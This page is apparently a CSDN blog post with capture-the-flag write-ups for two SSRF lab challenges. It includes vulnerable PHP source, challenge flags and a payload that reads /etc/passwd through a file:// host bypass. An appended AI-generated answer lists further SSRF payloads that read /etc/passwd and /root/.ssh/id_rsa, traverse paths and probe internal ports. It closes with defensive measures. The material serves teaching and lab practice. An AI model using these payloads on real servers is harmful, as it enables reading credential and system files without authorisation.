SSRF正则绕过1+SSRF文件读取

文章讲述了在两个网络安全挑战中,如何通过SSRF漏洞利用正则表达式绕过限制并读取文件,包括使用Dirsearch工具、CURL操作以及在Docker环境下的环境部署。参与者需要理解并实施payload来获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[题目信息]:

题目名称题目难度
SSRF正则绕过11

[题目考点]:

SSRF正则绕过1

[Flag格式]:

SangFor{5IbCdntb9LqcbhdQZszyr8wnZ2Uhdj6i}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配IP -e php

3、扫描到文件flag.php,访问flag.php文件

4、提示仅可以本地访问

5、代码中要求http格式为

host中以Sang开头
结尾为for

6、因此利用@、.符号和?号绕过正则匹配。

7、至此获得flag,实验结束。





[题目信息]:

题目名称题目难度
SSRF文件读取1

[题目考点]:

SSRF文件读取

[Flag格式]:

SangFor{Ux5uIUUb5un08PWtsabg5mqF2oTCY8kg}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

1、题目主页

2、点击提交查询

3、题目源码

<?php 
if(!$_GET['site']){ 
	$str = <<<EOD
<html> 
<body> 
look source code: 
<form action='' method='GET'> 
<input type='submit' name='submit' /> 
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> 
</form>
</body>
</html>
EOD;

echo $str;
die();
}

$url = $_GET[‘site’];
$url_schema = parse_url($url);
$host = $url_schema[‘host’];
$request_url = $url."/";

if ($host !== ‘www.baidu.com’){
die(“wrong site”);
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}

?>

4、利用file协议读取/etc/passwd文件

  • 用file协议读取本地文件
  • 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
  • 截断url后面拼接的/, GET请求, 用?#都可以

5、Payload:

file://www.baidu.com/etc/passwd?

6、成功访问passwd文件,至此实验结束。

passwd读取成功,思考如何读取flag文件!

<think>好的,我现在需要回答用户关于如何利用SSRF漏洞访问网站根目录下的文件的问题。首先,我需要回顾一下SSRF的基本概念和常见利用方法。SSRF(服务器端请求伪造)允许攻击者诱导服务器向内部或外部的系统发送恶意请求,这可能包括访问本地文件系统或内部服务。 用户提到参考了引用[1]和[2],其中引用[2]指出,如果GET请求后面跟路径的话,可以直接获取文件或目录内容,比如GET /相当于执行ls /,而GET /root/flag相当于cat /root/flag。这说明在某些情况下,SSRF漏洞可能允许通过构造特定的URL路径来读取服务器上的文件。 接下来,我需要整理利用SSRF访问根目录文件的步骤。首先,确认漏洞是否存在,通常通过尝试访问本地资源如http://127.0.0.1或file:///etc/passwd。然后,根据服务器的解析方式,可能需要使用不同的协议或路径构造方式。例如,使用file://协议直接读取文件,或者利用URL解析特性绕过限制。 同时,需要注意服务器对路径的处理是否有过滤或限制,比如是否允许访问根目录,或者是否对某些关键词进行了过滤。这时候可能需要尝试编码绕过,比如将斜杠/编码为%2F,或者使用其他协议如gopher、dict来进一步利用。 此外,用户提供的引用[2]中提到GET /等同于ls /,这可能指的是某些特定环境下,如通过Web服务器执行命令列出目录,但通常SSRF直接读取文件需要明确文件路径。因此,可能需要结合其他方法,如目录遍历或路径拼接,来访问目标文件。 最后,总结防御措施,提醒用户注意服务器配置和输入过滤,防止此类漏洞被利用。需要确保回答结构清晰,步骤明确,并引用相关资料支持。</think>以下是利用 SSRF 漏洞查看网站根目录文件的具体方法和步骤: ### 一、SSRF 访问根目录文件的原理 SSRF 漏洞允许攻击者通过服务器发起未授权的内部请求。当服务器未对请求协议和路径做严格过滤时,可通过构造特殊 URL 直接访问本地文件系统[^2]。 ### 二、实现方法 1. **基础文件读取** 使用 `file://` 协议直接访问文件系统: ```http GET /vuln-page?url=file:///etc/passwd HTTP/1.1 ``` 若成功将返回系统用户配置文件。 2. **根目录遍历** 通过路径拼接访问根目录: ```http GET /vuln-page?url=http://127.0.0.1/../../../../var/www/html/config.php HTTP/1.1 ``` 这种方式适用于 Web 服务器允许路径回溯的情况。 3. **协议混淆技巧** 当 `http://` 协议被过滤时,尝试以下变种: ```http GET /vuln-page?url=FiLe:///root/.ssh/id_rsa HTTP/1.1 # 大小写绕过 GET /vuln-page?url=/////etc/hosts # 多重斜杠绕过 ``` 4. **端口扫描辅助** 通过响应时间差异判断开放端口,定位敏感服务: ```http GET /vuln-page?url=http://127.0.0.1:3306 # 检测 MySQL 端口 ``` ### 三、关键防御措施 1. 禁用非常用协议(如 `file://`、`gopher://`) 2. 使用正则表达式过滤 `127.0.0.1`、`localhost` 等敏感地址 3. 部署网络隔离策略,限制服务器出站流量
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值